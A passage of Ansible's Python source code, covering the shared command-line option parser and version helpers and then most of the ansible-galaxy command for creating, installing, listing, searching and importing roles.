        For ex, cli arg of '-p /blip/foo:/foo/bar' would be split on the
        default os.pathsep and the option value would be set to
        the list ['/blip/foo', '/foo/bar']. Each path string in the list
        will also have '~/' values expand via os.path.expanduser()."""
        path_entries = value.split(os.pathsep)
        expanded_path_entries = [os.path.expanduser(path_entry) for path_entry in path_entries]
        setattr(parser.values, option.dest, expanded_path_entries)

    @staticmethod
    def base_parser(usage="", output_opts=False, runas_opts=False, meta_opts=False, runtask_opts=False, vault_opts=False, module_opts=False,
            async_opts=False, connect_opts=False, subset_opts=False, check_opts=False, inventory_opts=False, epilog=None, fork_opts=False, runas_prompt_opts=False):
        ''' create an options parser for most ansible scripts '''

        # TODO: implement epilog parsing
        #       OptionParser.format_epilog = lambda self, formatter: self.epilog

        # base opts
        parser = SortedOptParser(usage, version=CLI.version("%prog"))
        parser.add_option('-v','--verbose', dest='verbosity', default=0, action="count",
            help="verbose mode (-vvv for more, -vvvv to enable connection debugging)")

        if inventory_opts:
            parser.add_option('-i', '--inventory-file', dest='inventory',
                help="specify inventory host path (default=%s) or comma separated host list." % C.DEFAULT_HOST_LIST,
                default=C.DEFAULT_HOST_LIST, action="callback", callback=CLI.expand_tilde, type=str)
            parser.add_option('--list-hosts', dest='listhosts', action='store_true',
                help='outputs a list of matching hosts; does not execute anything else')
            parser.add_option('-l', '--limit', default=C.DEFAULT_SUBSET, dest='subset',
                help='further limit selected hosts to an additional pattern')

        if module_opts:
            parser.add_option('-M', '--module-path', dest='module_path', default=None,
                help="specify path(s) to module library (default=%s)" % C.DEFAULT_MODULE_PATH,
                action="callback", callback=CLI.expand_tilde, type=str)
        if runtask_opts:
            parser.add_option('-e', '--extra-vars', dest="extra_vars", action="append",
                help="set additional variables as key=value or YAML/JSON", default=[])

        if fork_opts:
            parser.add_option('-f','--forks', dest='forks', default=C.DEFAULT_FORKS, type='int',
                help="specify number of parallel processes to use (default=%s)" % C.DEFAULT_FORKS)

        if vault_opts:
            parser.add_option('--ask-vault-pass', default=C.DEFAULT_ASK_VAULT_PASS, dest='ask_vault_pass', action='store_true',
                help='ask for vault password')
            parser.add_option('--vault-password-file', default=C.DEFAULT_VAULT_PASSWORD_FILE, dest='vault_password_file',
                help="vault password file", action="callback", callback=CLI.expand_tilde, type=str)
            parser.add_option('--new-vault-password-file', dest='new_vault_password_file',
                help="new vault password file for rekey", action="callback", callback=CLI.expand_tilde, type=str)
            parser.add_option('--output', default=None, dest='output_file',
                help='output file name for encrypt or decrypt; use - for stdout',
                action="callback", callback=CLI.expand_tilde, type=str)

        if subset_opts:
            parser.add_option('-t', '--tags', dest='tags', default='all',
                help="only run plays and tasks tagged with these values")
            parser.add_option('--skip-tags', dest='skip_tags',
                help="only run plays and tasks whose tags do not match these values")

        if output_opts:
            parser.add_option('-o', '--one-line', dest='one_line', action='store_true',
                help='condense output')
            parser.add_option('-t', '--tree', dest='tree', default=None,
                help='log output to this directory')

        if connect_opts:
            connect_group = optparse.OptionGroup(parser, "Connection Options", "control as whom and how to connect to hosts")
            connect_group.add_option('-k', '--ask-pass', default=C.DEFAULT_ASK_PASS, dest='ask_pass', action='store_true',
                help='ask for connection password')
            connect_group.add_option('--private-key','--key-file', default=C.DEFAULT_PRIVATE_KEY_FILE, dest='private_key_file',
                help='use this file to authenticate the connection')
            connect_group.add_option('-u', '--user', default=C.DEFAULT_REMOTE_USER, dest='remote_user',
                help='connect as this user (default=%s)' % C.DEFAULT_REMOTE_USER)
            connect_group.add_option('-c', '--connection', dest='connection', default=C.DEFAULT_TRANSPORT,
                help="connection type to use (default=%s)" % C.DEFAULT_TRANSPORT)
            connect_group.add_option('-T', '--timeout', default=C.DEFAULT_TIMEOUT, type='int', dest='timeout',
                help="override the connection timeout in seconds (default=%s)" % C.DEFAULT_TIMEOUT)
            connect_group.add_option('--ssh-common-args', default='', dest='ssh_common_args',
                help="specify common arguments to pass to sftp/scp/ssh (e.g. ProxyCommand)")
            connect_group.add_option('--sftp-extra-args', default='', dest='sftp_extra_args',
                help="specify extra arguments to pass to sftp only (e.g. -f, -l)")
            connect_group.add_option('--scp-extra-args', default='', dest='scp_extra_args',
                help="specify extra arguments to pass to scp only (e.g. -l)")
            connect_group.add_option('--ssh-extra-args', default='', dest='ssh_extra_args',
                help="specify extra arguments to pass to ssh only (e.g. -R)")

            parser.add_option_group(connect_group)

        runas_group = None
        rg = optparse.OptionGroup(parser, "Privilege Escalation Options", "control how and which user you become as on target hosts")
        if runas_opts:
            runas_group = rg
            # priv user defaults to root later on to enable detecting when this option was given here
            runas_group.add_option("-s", "--sudo", default=C.DEFAULT_SUDO, action="store_true", dest='sudo',
                help="run operations with sudo (nopasswd) (deprecated, use become)")
            runas_group.add_option('-U', '--sudo-user', dest='sudo_user', default=None,
                              help='desired sudo user (default=root) (deprecated, use become)')
            runas_group.add_option('-S', '--su', default=C.DEFAULT_SU, action='store_true',
                help='run operations with su (deprecated, use become)')
            runas_group.add_option('-R', '--su-user', default=None,
                help='run operations with su as this user (default=%s) (deprecated, use become)' % C.DEFAULT_SU_USER)

            # consolidated privilege escalation (become)
            runas_group.add_option("-b", "--become", default=C.DEFAULT_BECOME, action="store_true", dest='become',
                help="run operations with become (does not imply password prompting)")
            runas_group.add_option('--become-method', dest='become_method', default=C.DEFAULT_BECOME_METHOD, type='choice', choices=C.BECOME_METHODS,
                help="privilege escalation method to use (default=%s), valid choices: [ %s ]" % (C.DEFAULT_BECOME_METHOD, ' | '.join(C.BECOME_METHODS)))
            runas_group.add_option('--become-user', default=None, dest='become_user', type='string',
                help='run operations as this user (default=%s)' % C.DEFAULT_BECOME_USER)

        if runas_opts or runas_prompt_opts:
            if not runas_group:
                runas_group = rg
            runas_group.add_option('--ask-sudo-pass', default=C.DEFAULT_ASK_SUDO_PASS, dest='ask_sudo_pass', action='store_true',
                help='ask for sudo password (deprecated, use become)')
            runas_group.add_option('--ask-su-pass', default=C.DEFAULT_ASK_SU_PASS, dest='ask_su_pass', action='store_true',
                help='ask for su password (deprecated, use become)')
            runas_group.add_option('-K', '--ask-become-pass', default=False, dest='become_ask_pass', action='store_true',
                help='ask for privilege escalation password')

        if runas_group:
            parser.add_option_group(runas_group)

        if async_opts:
            parser.add_option('-P', '--poll', default=C.DEFAULT_POLL_INTERVAL, type='int', dest='poll_interval',
                help="set the poll interval if using -B (default=%s)" % C.DEFAULT_POLL_INTERVAL)
            parser.add_option('-B', '--background', dest='seconds', type='int', default=0,
                help='run asynchronously, failing after X seconds (default=N/A)')

        if check_opts:
            parser.add_option("-C", "--check", default=False, dest='check', action='store_true',
                help="don't make any changes; instead, try to predict some of the changes that may occur")
            parser.add_option('--syntax-check', dest='syntax', action='store_true',
                help="perform a syntax check on the playbook, but do not execute it")
            parser.add_option("-D", "--diff", default=False, dest='diff', action='store_true',
                help="when changing (small) files and templates, show the differences in those files; works great with --check")

        if meta_opts:
            parser.add_option('--force-handlers', default=C.DEFAULT_FORCE_HANDLERS, dest='force_handlers', action='store_true',
                help="run handlers even if a task fails")
            parser.add_option('--flush-cache', dest='flush_cache', action='store_true',
                help="clear the fact cache")

        return parser

    @staticmethod
    def version(prog):
        ''' return ansible version '''
        result = "{0} {1}".format(prog, __version__)
        gitinfo = CLI._gitinfo()
        if gitinfo:
            result = result + " {0}".format(gitinfo)
        result += "\n  config file = %s" % C.CONFIG_FILE
        if C.DEFAULT_MODULE_PATH is None:
            cpath = "Default w/o overrides"
        else:
            cpath = C.DEFAULT_MODULE_PATH
        result = result + "\n  configured module search path = %s" % cpath
        return result

    @staticmethod
    def version_info(gitinfo=False):
        ''' return full ansible version info '''
        if gitinfo:
            # expensive call, user with care
            ansible_version_string = CLI.version('')
        else:
            ansible_version_string = __version__
        ansible_version = ansible_version_string.split()[0]
        ansible_versions = ansible_version.split('.')
        for counter in range(len(ansible_versions)):
            if ansible_versions[counter] == "":
                ansible_versions[counter] = 0
            try:
                ansible_versions[counter] = int(ansible_versions[counter])
            except:
                pass
        if len(ansible_versions) < 3:
            for counter in range(len(ansible_versions), 3):
                ansible_versions.append(0)
        return {'string':      ansible_version_string.strip(),
                'full':        ansible_version,
                'major':       ansible_versions[0],
                'minor':       ansible_versions[1],
                'revision':    ansible_versions[2]}

    @staticmethod
    def _git_repo_info(repo_path):
        ''' returns a string containing git branch, commit id and commit date '''
        result = None
        if os.path.exists(repo_path):
            # Check if the .git is a file. If it is a file, it means that we are in a submodule structure.
            if os.path.isfile(repo_path):
                try:
                    gitdir = yaml.safe_load(open(repo_path)).get('gitdir')
                    # There is a possibility the .git file to have an absolute path.
                    if os.path.isabs(gitdir):
                        repo_path = gitdir
                    else:
                        repo_path = os.path.join(repo_path[:-4], gitdir)
                except (IOError, AttributeError):
                    return ''
            f = open(os.path.join(repo_path, "HEAD"))
            line = f.readline().rstrip("\n")
            if line.startswith("ref:"):
                branch_path = os.path.join(repo_path, line[5:])
            else:
                branch_path = None
            f.close()
            if branch_path and os.path.exists(branch_path):
                branch = '/'.join(line.split('/')[2:])
                f = open(branch_path)
                commit = f.readline()[:10]
                f.close()
            else:
                # detached HEAD
                commit = line[:10]
                branch = 'detached HEAD'
                branch_path = os.path.join(repo_path, "HEAD")

            date = time.localtime(os.stat(branch_path).st_mtime)
            if time.daylight == 0:
                offset = time.timezone
            else:
                offset = time.altzone
            result = "({0} {1}) last updated {2} (GMT {3:+04d})".format(branch, commit,
                time.strftime("%Y/%m/%d %H:%M:%S", date), int(offset / -36))
        else:
            result = ''
        return result

    @staticmethod
    def _gitinfo():
        basedir = os.path.join(os.path.dirname(__file__), '..', '..', '..')
        repo_path = os.path.join(basedir, '.git')
        result = CLI._git_repo_info(repo_path)
        submodules = os.path.join(basedir, '.gitmodules')
        if not os.path.exists(submodules):
            return result
        f = open(submodules)
        for line in f:
            tokens = line.strip().split(' ')
            if tokens[0] == 'path':
                submodule_path = tokens[2]
                submodule_info = CLI._git_repo_info(os.path.join(basedir, submodule_path, '.git'))
                if not submodule_info:
                    submodule_info = ' not found - use git submodule update --init ' + submodule_path
                result += "\n  {0}: {1}".format(submodule_path, submodule_info)
        f.close()
        return result

    def pager(self, text):
        ''' find reasonable way to display text '''
        # this is a much simpler form of what is in pydoc.py
        if not sys.stdout.isatty():
            display.display(text)
        elif 'PAGER' in os.environ:
            if sys.platform == 'win32':
                display.display(text)
            else:
                self.pager_pipe(text, os.environ['PAGER'])
        elif subprocess.call('(less --version) &> /dev/null', shell = True) == 0:
            self.pager_pipe(text, 'less')
        else:
            display.display(text)

    @staticmethod
    def pager_pipe(text, cmd):
        ''' pipe text through a pager '''
        if 'LESS' not in os.environ:
            os.environ['LESS'] = CLI.LESS_OPTS
        try:
            cmd = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=sys.stdout)
            cmd.communicate(input=to_bytes(text))
        except IOError:
            pass
        except KeyboardInterrupt:
            pass

    @classmethod
    def tty_ify(cls, text):

        t = cls._ITALIC.sub("`" + r"\1" + "'", text)    # I(word) => `word'
        t = cls._BOLD.sub("*" + r"\1" + "*", t)         # B(word) => *word*
        t = cls._MODULE.sub("[" + r"\1" + "]", t)       # M(word) => [word]
        t = cls._URL.sub(r"\1", t)                      # U(word) => word
        t = cls._CONST.sub("`" + r"\1" + "'", t)        # C(word) => `word'

        return t

    @staticmethod
    def read_vault_password_file(vault_password_file, loader):
        """
        Read a vault password from a file or if executable, execute the script and
        retrieve password from STDOUT
        """

        this_path = os.path.realpath(os.path.expanduser(vault_password_file))
        if not os.path.exists(this_path):
            raise AnsibleError("The vault password file %s was not found" % this_path)

        if loader.is_executable(this_path):
            try:
                # STDERR not captured to make it easier for users to prompt for input in their scripts
                p = subprocess.Popen(this_path, stdout=subprocess.PIPE)
            except OSError as e:
                raise AnsibleError("Problem running vault password script %s (%s). If this is not a script, remove the executable bit from the file." % (' '.join(this_path), e))
            stdout, stderr = p.communicate()
            if p.returncode != 0:
                raise AnsibleError("Vault password script %s returned non-zero (%s): %s" % (this_path, p.returncode, p.stderr))
            vault_pass = stdout.strip('\r\n')
        else:
            try:
                f = open(this_path, "rb")
                vault_pass=f.read().strip()
                f.close()
            except (OSError, IOError) as e:
                raise AnsibleError("Could not read vault password file %s: %s" % (this_path, e))

        return vault_pass

    def get_opt(self, k, defval=""):
        """
        Returns an option from an Optparse values instance.
        """
        try:
            data = getattr(self.options, k)
        except:
            return defval
        # FIXME: Can this be removed if cli and/or constants ensures it's a
        # list?
        if k == "roles_path":
            if os.pathsep in data:
                data = data.split(os.pathsep)[0]
        return data






########################################################################
#
# (C) 2013, James Cammarata <jcammarata@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
#
########################################################################

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os.path
import sys
import yaml
import time

from collections import defaultdict
from jinja2 import Environment

import ansible.constants as C
from ansible.cli import CLI
from ansible.errors import AnsibleError, AnsibleOptionsError
from ansible.galaxy import Galaxy
from ansible.galaxy.api import GalaxyAPI
from ansible.galaxy.role import GalaxyRole
from ansible.galaxy.login import GalaxyLogin
from ansible.galaxy.token import GalaxyToken
from ansible.playbook.role.requirement import RoleRequirement
from ansible.utils.unicode import to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

class GalaxyCLI(CLI):

    SKIP_INFO_KEYS = ("name", "description", "readme_html", "related", "summary_fields", "average_aw_composite", "average_aw_score", "url" )
    VALID_ACTIONS = ("delete", "import", "info", "init", "install", "list", "login", "remove", "search", "setup")

    def __init__(self, args):
        self.api = None
        self.galaxy = None
        super(GalaxyCLI, self).__init__(args)

    def parse(self):
        ''' create an options parser for bin/ansible '''

        self.parser = CLI.base_parser(
            usage = "usage: %%prog [%s] [--help] [options] ..." % "|".join(self.VALID_ACTIONS),
            epilog = "\nSee '%s <command> --help' for more information on a specific command.\n\n" % os.path.basename(sys.argv[0])
        )


        self.set_action()

        # common
        self.parser.add_option('-s', '--server', dest='api_server', default=C.GALAXY_SERVER, help='The API server destination')
        self.parser.add_option('-c', '--ignore-certs', action='store_true', dest='ignore_certs', default=C.GALAXY_IGNORE_CERTS, help='Ignore SSL certificate validation errors.')

        # specific to actions
        if self.action == "delete":
            self.parser.set_usage("usage: %prog delete [options] github_user github_repo")
        elif self.action == "import":
            self.parser.set_usage("usage: %prog import [options] github_user github_repo")
            self.parser.add_option('--no-wait', dest='wait', action='store_false', default=True, help='Don\'t wait for import results.')
            self.parser.add_option('--branch', dest='reference', help='The name of a branch to import. Defaults to the repository\'s default branch (usually master)')
            self.parser.add_option('--status', dest='check_status', action='store_true', default=False, help='Check the status of the most recent import request for given github_user/github_repo.')
        elif self.action == "info":
            self.parser.set_usage("usage: %prog info [options] role_name[,version]")
        elif self.action == "init":
            self.parser.set_usage("usage: %prog init [options] role_name")
            self.parser.add_option('-p', '--init-path', dest='init_path', default="./", help='The path in which the skeleton role will be created. The default is the current working directory.')
        elif self.action == "install":
            self.parser.set_usage("usage: %prog install [options] [-r FILE | role_name(s)[,version] | scm+role_repo_url[,version] | tar_file(s)]")
            self.parser.add_option('-i', '--ignore-errors', dest='ignore_errors', action='store_true', default=False, help='Ignore errors and continue with the next specified role.')
            self.parser.add_option('-n', '--no-deps', dest='no_deps', action='store_true', default=False, help='Don\'t download roles listed as dependencies')
            self.parser.add_option('-r', '--role-file', dest='role_file', help='A file containing a list of roles to be imported')
        elif self.action == "remove":
            self.parser.set_usage("usage: %prog remove role1 role2 ...")
        elif self.action == "list":
            self.parser.set_usage("usage: %prog list [role_name]")
        elif self.action == "login":
            self.parser.set_usage("usage: %prog login [options]")
            self.parser.add_option('--github-token', dest='token', default=None, help='Identify with github token rather than username and password.')
        elif self.action == "search":
            self.parser.set_usage("usage: %prog search [searchterm1 searchterm2] [--galaxy-tags galaxy_tag1,galaxy_tag2] [--platforms platform1,platform2] [--author username]")
            self.parser.add_option('--platforms', dest='platforms', help='list of OS platforms to filter by')
            self.parser.add_option('--galaxy-tags', dest='tags', help='list of galaxy tags to filter by')
            self.parser.add_option('--author', dest='author', help='GitHub username')
        elif self.action == "setup":
            self.parser.set_usage("usage: %prog setup [options] source github_user github_repo secret")
            self.parser.add_option('--remove', dest='remove_id', default=None, help='Remove the integration matching the provided ID value. Use --list to see ID values.')
            self.parser.add_option('--list', dest="setup_list", action='store_true', default=False, help='List all of your integrations.')

        # options that apply to more than one action
        if self.action in ['init', 'info']:
            self.parser.add_option( '--offline', dest='offline', default=False, action='store_true', help="Don't query the galaxy API when creating roles")

        if not self.action in ("delete","import","init","login","setup"):
            # NOTE: while the option type=str, the default is a list, and the
            # callback will set the value to a list.
            self.parser.add_option('-p', '--roles-path', dest='roles_path', action="callback", callback=CLI.expand_paths, type=str, default=C.DEFAULT_ROLES_PATH,
                help='The path to the directory containing your roles. The default is the roles_path configured in your ansible.cfg file (/etc/ansible/roles if not configured)')

        if self.action in ("init","install"):
            self.parser.add_option('-f', '--force', dest='force', action='store_true', default=False, help='Force overwriting an existing role')

        self.options, self.args =self.parser.parse_args()
        display.verbosity = self.options.verbosity
        self.galaxy = Galaxy(self.options)
        return True

    def run(self):

        super(GalaxyCLI, self).run()

        self.api = GalaxyAPI(self.galaxy)
        self.execute()

    def exit_without_ignore(self, rc=1):
        """
        Exits with the specified return code unless the
        option --ignore-errors was specified
        """
        if not self.get_opt("ignore_errors", False):
            raise AnsibleError('- you can use --ignore-errors to skip failed roles and finish processing the list.')

    def _display_role_info(self, role_info):

        text = [u"", u"Role: %s" % to_unicode(role_info['name'])]
        text.append(u"\tdescription: %s" % role_info.get('description', ''))

        for k in sorted(role_info.keys()):

            if k in self.SKIP_INFO_KEYS:
                continue

            if isinstance(role_info[k], dict):
                text.append(u"\t%s:" % (k))
                for key in sorted(role_info[k].keys()):
                    if key in self.SKIP_INFO_KEYS:
                        continue
                    text.append(u"\t\t%s: %s" % (key, role_info[k][key]))
            else:
                text.append(u"\t%s: %s" % (k, role_info[k]))

        return u'\n'.join(text)

############################
# execute actions
############################

    def execute_init(self):
        """
        Executes the init action, which creates the skeleton framework
        of a role that complies with the galaxy metadata format.
        """

        init_path  = self.get_opt('init_path', './')
        force      = self.get_opt('force', False)
        offline    = self.get_opt('offline', False)

        role_name = self.args.pop(0).strip() if self.args else None
        if not role_name:
            raise AnsibleOptionsError("- no role name specified for init")
        role_path = os.path.join(init_path, role_name)
        if os.path.exists(role_path):
            if os.path.isfile(role_path):
                raise AnsibleError("- the path %s already exists, but is a file - aborting" % role_path)
            elif not force:
                raise AnsibleError("- the directory %s already exists."
                            "you can use --force to re-initialize this directory,\n"
                            "however it will reset any main.yml files that may have\n"
                            "been modified there already." % role_path)

        # create default README.md
        if not os.path.exists(role_path):
            os.makedirs(role_path)
        readme_path = os.path.join(role_path, "README.md")
        f = open(readme_path, "wb")
        f.write(self.galaxy.default_readme)
        f.close()

        # create default .travis.yml
        travis = Environment().from_string(self.galaxy.default_travis).render()
        f = open(os.path.join(role_path, '.travis.yml'), 'w')
        f.write(travis)
        f.close()

        for dir in GalaxyRole.ROLE_DIRS:
            dir_path = os.path.join(init_path, role_name, dir)
            main_yml_path = os.path.join(dir_path, 'main.yml')

            # create the directory if it doesn't exist already
            if not os.path.exists(dir_path):
                os.makedirs(dir_path)

            # now create the main.yml file for that directory
            if dir == "meta":
                # create a skeleton meta/main.yml with a valid galaxy_info
                # datastructure in place, plus with all of the available
                # platforms included (but commented out), the galaxy_tags
                # list, and the dependencies section
                platforms = []
                if not offline:
                    platforms = self.api.get_list("platforms") or []

                # group the list of platforms from the api based
                # on their names, with the release field being
                # appended to a list of versions
                platform_groups = defaultdict(list)
                for platform in platforms:
                    platform_groups[platform['name']].append(platform['release'])
                    platform_groups[platform['name']].sort()

                inject = dict(
                    author = 'your name',
                    description = 'your description',
                    company = 'your company (optional)',
                    license = 'license (GPLv2, CC-BY, etc)',
                    issue_tracker_url = 'http://example.com/issue/tracker',
                    min_ansible_version = '1.2',
                    platforms = platform_groups,
                )
                rendered_meta = Environment().from_string(self.galaxy.default_meta).render(inject)
                f = open(main_yml_path, 'w')
                f.write(rendered_meta)
                f.close()
                pass
            elif dir == "tests":
                # create tests/test.yml
                inject = dict(
                    role_name = role_name
                )
                playbook = Environment().from_string(self.galaxy.default_test).render(inject)
                f = open(os.path.join(dir_path, 'test.yml'), 'w')
                f.write(playbook)
                f.close()

                # create tests/inventory
                f = open(os.path.join(dir_path, 'inventory'), 'w')
                f.write('localhost')
                f.close()
            elif dir not in ('files','templates'):
                # just write a (mostly) empty YAML file for main.yml
                f = open(main_yml_path, 'w')
                f.write('---\n# %s file for %s\n' % (dir,role_name))
                f.close()
        display.display("- %s was created successfully" % role_name)

    def execute_info(self):
        """
        Executes the info action. This action prints out detailed
        information about an installed role as well as info available
        from the galaxy API.
        """

        if len(self.args) == 0:
            # the user needs to specify a role
            raise AnsibleOptionsError("- you must specify a user/role name")

        roles_path = self.get_opt("roles_path")

        data = ''
        for role in self.args:

            role_info = {'path': roles_path}
            gr = GalaxyRole(self.galaxy, role)

            install_info = gr.install_info
            if install_info:
                if 'version' in install_info:
                    install_info['intalled_version'] = install_info['version']
                    del install_info['version']
                role_info.update(install_info)

            remote_data = False
            if not self.options.offline:
                remote_data = self.api.lookup_role_by_name(role, False)

            if remote_data:
                role_info.update(remote_data)

            if gr.metadata:
                role_info.update(gr.metadata)

            req = RoleRequirement()
            role_spec= req.role_yaml_parse({'role': role})
            if role_spec:
                role_info.update(role_spec)

            data = self._display_role_info(role_info)
            ### FIXME: This is broken in both 1.9 and 2.0 as
            # _display_role_info() always returns something
            if not data:
                data = u"\n- the role %s was not found" % role

        self.pager(data)

    def execute_install(self):
        """
        Executes the installation action. The args list contains the
        roles to be installed, unless -f was specified. The list of roles
        can be a name (which will be downloaded via the galaxy API and github),
        or it can be a local .tar.gz file.
        """

        role_file  = self.get_opt("role_file", None)

        if len(self.args) == 0 and role_file is None:
            # the user needs to specify one of either --role-file
            # or specify a single user/role name
            raise AnsibleOptionsError("- you must specify a user/role name or a roles file")
        elif len(self.args) == 1 and role_file is not None:
            # using a role file is mutually exclusive of specifying
            # the role name on the command line
            raise AnsibleOptionsError("- please specify a user/role name, or a roles file, but not both")

        no_deps    = self.get_opt("no_deps", False)
        force      = self.get_opt('force', False)

        roles_left = []
        if role_file:
            try:
                f = open(role_file, 'r')
                if role_file.endswith('.yaml') or role_file.endswith('.yml'):
                    try:
                        required_roles =  yaml.safe_load(f.read())
                    except Exception as e:
                        raise AnsibleError("Unable to load data from the requirements file: %s" % role_file)

                    if required_roles is None:
                        raise AnsibleError("No roles found in file: %s" % role_file)

                    for role in required_roles:
                        if "include" not in role:
                            role = RoleRequirement.role_yaml_parse(role)
                            display.vvv("found role %s in yaml file" % str(role))
                            if "name" not in role and "scm" not in role:
                                raise AnsibleError("Must specify name or src for role")
                            roles_left.append(GalaxyRole(self.galaxy, **role))
                        else:
                            with open(role["include"]) as f_include:
                                try:
                                    roles_left += [
                                        GalaxyRole(self.galaxy, **r) for r in
                                        map(RoleRequirement.role_yaml_parse,
                                            yaml.safe_load(f_include))
                                    ]
                                except Exception as e:
                                    msg = "Unable to load data from the include requirements file: %s %s"
                                    raise AnsibleError(msg % (role_file, e))
                else:
                    display.deprecated("going forward only the yaml format will be supported")
                    # roles listed in a file, one per line
                    for rline in f.readlines():
                        if rline.startswith("#") or rline.strip() == '':
                            continue
                        display.debug('found role %s in text file' % str(rline))
                        role = RoleRequirement.role_yaml_parse(rline.strip())
                        roles_left.append(GalaxyRole(self.galaxy, **role))
                f.close()
            except (IOError, OSError) as e:
                display.error('Unable to open %s: %s' % (role_file, str(e)))
        else:
            # roles were specified directly, so we'll just go out grab them
            # (and their dependencies, unless the user doesn't want us to).
            for rname in self.args:
                role = RoleRequirement.role_yaml_parse(rname.strip())
                roles_left.append(GalaxyRole(self.galaxy, **role))

        for role in roles_left:
            display.vvv('Installing role %s ' % role.name)
            # query the galaxy API for the role data

            if role.install_info is not None and not force:
                display.display('- %s is already installed, skipping.' % role.name)
                continue

            try:
                installed = role.install()
            except AnsibleError as e:
                display.warning("- %s was NOT installed successfully: %s " % (role.name, str(e)))
                self.exit_without_ignore()
                continue

            # install dependencies, if we want them
            if not no_deps and installed:
                role_dependencies = role.metadata.get('dependencies') or []
                for dep in role_dependencies:
                    display.debug('Installing dep %s' % dep)
                    dep_req = RoleRequirement()
                    dep_info = dep_req.role_yaml_parse(dep)
                    dep_role = GalaxyRole(self.galaxy, **dep_info)
                    if '.' not in dep_role.name and '.' not in dep_role.src and dep_role.scm is None:
                        # we know we can skip this, as it's not going to
                        # be found on galaxy.ansible.com
                        continue
                    if dep_role.install_info is None or force:
                        if dep_role not in roles_left:
                            display.display('- adding dependency: %s' % dep_role.name)
                            roles_left.append(dep_role)
                        else:
                            display.display('- dependency %s already pending installation.' % dep_role.name)
                    else:
                        display.display('- dependency %s is already installed, skipping.' % dep_role.name)

            if not installed:
                display.warning("- %s was NOT installed successfully." % role.name)
                self.exit_without_ignore()

        return 0

    def execute_remove(self):
        """
        Executes the remove action. The args list contains the list
        of roles to be removed. This list can contain more than one role.
        """

        if len(self.args) == 0:
            raise AnsibleOptionsError('- you must specify at least one role to remove.')

        for role_name in self.args:
            role = GalaxyRole(self.galaxy, role_name)
            try:
                if role.remove():
                    display.display('- successfully removed %s' % role_name)
                else:
                    display.display('- %s is not installed, skipping.' % role_name)
            except Exception as e:
                raise AnsibleError("Failed to remove role %s: %s" % (role_name, str(e)))

        return 0

    def execute_list(self):
        """
        Executes the list action. The args list can contain zero
        or one role. If one is specified, only that role will be
        shown, otherwise all roles in the specified directory will
        be shown.
        """

        if len(self.args) > 1:
            raise AnsibleOptionsError("- please specify only one role to list, or specify no roles to see a full list")

        if len(self.args) == 1:
            # show only the request role, if it exists
            name = self.args.pop()
            gr = GalaxyRole(self.galaxy, name)
            if gr.metadata:
                install_info = gr.install_info
                version = None
                if install_info:
                    version = install_info.get("version", None)
                if not version:
                    version = "(unknown version)"
                # show some more info about single roles here
                display.display("- %s, %s" % (name, version))
            else:
                display.display("- the role %s was not found" % name)
        else:
            # show all valid roles in the roles_path directory
            roles_path = self.get_opt('roles_path')
            for path in roles_path:
                role_path = os.path.expanduser(path)
                if not os.path.exists(role_path):
                    raise AnsibleOptionsError("- the path %s does not exist. Please specify a valid path with --roles-path" % role_path)
                elif not os.path.isdir(role_path):
                    raise AnsibleOptionsError("- %s exists, but it is not a directory. Please specify a valid path with --roles-path" % role_path)
                path_files = os.listdir(role_path)
                for path_file in path_files:
                    gr = GalaxyRole(self.galaxy, path_file)
                    if gr.metadata:
                        install_info = gr.install_info
                        version = None
                        if install_info:
                            version = install_info.get("version", None)
                        if not version:
                            version = "(unknown version)"
                        display.display("- %s, %s" % (path_file, version))
        return 0

    def execute_search(self):
        page_size = 1000
        search = None

        if len(self.args):
            terms = []
            for i in range(len(self.args)):
               terms.append(self.args.pop())
            search = '+'.join(terms[::-1])

        if not search and not self.options.platforms and not self.options.tags and not self.options.author:
            raise AnsibleError("Invalid query. At least one search term, platform, galaxy tag or author must be provided.")

        response = self.api.search_roles(search, platforms=self.options.platforms,
            tags=self.options.tags, author=self.options.author, page_size=page_size)

        if response['count'] == 0:
            display.display("No roles match your search.", color=C.COLOR_ERROR)
            return True

        data = [u'']

        if response['count'] > page_size:
            data.append(u"Found %d roles matching your search. Showing first %s." % (response['count'], page_size))
        else:
            data.append(u"Found %d roles matching your search:" % response['count'])

        max_len = []
        for role in response['results']:
            max_len.append(len(role['username'] + '.' + role['name']))
        name_len = max(max_len)
        format_str = u" %%-%ds %%s" % name_len
        data.append(u'')
        data.append(format_str % (u"Name", u"Description"))
        data.append(format_str % (u"----", u"-----------"))
        for role in response['results']:
            data.append(format_str % (u'%s.%s' % (role['username'], role['name']), role['description']))

        data = u'\n'.join(data)
        self.pager(data)

        return True

    def execute_login(self):
        """
        Verify user's identify via Github and retreive an auth token from Galaxy.
        """
        # Authenticate with github and retrieve a token
        if self.options.token is None:
            login = GalaxyLogin(self.galaxy)
            github_token = login.create_github_token()
        else:
            github_token = self.options.token

        galaxy_response = self.api.authenticate(github_token)

        if self.options.token is None:
            # Remove the token we created
            login.remove_github_token()

        # Store the Galaxy token
        token = GalaxyToken()
        token.set(galaxy_response['token'])

        display.display("Succesfully logged into Galaxy as %s" % galaxy_response['username'])
        return 0

    def execute_import(self):
        """
        Import a role into Galaxy
        """

        colors = {
            'INFO':    'normal',
            'WARNING': C.COLOR_WARN,
            'ERROR':   C.COLOR_ERROR,
            'SUCCESS': C.COLOR_OK,
            'FAILED': C.COLOR_ERROR,
        }

        if len(self.args) < 2:
            raise AnsibleError("Expected a github_username and github_repository. Use --help.")

        github_repo = self.args.pop()
        github_user = self.args.pop()

        if self.options.check_status:
            task = self.api.get_import_task(github_user=github_user, github_repo=github_repo)
        else:
            # Submit an import request
            task = self.api.create_import_task(github_user, github_repo, reference=self.options.reference)

            if len(task) > 1:
                # found multiple roles associated with github_user/github_repo
                display.display("WARNING: More than one Galaxy role associated with Github repo %s/%s." % (github_user,github_repo),
                    color='yellow')
                display.display("The following Galaxy roles are being updated:" + u'\n', color=C.COLOR_CHANGED)
                for t in task:
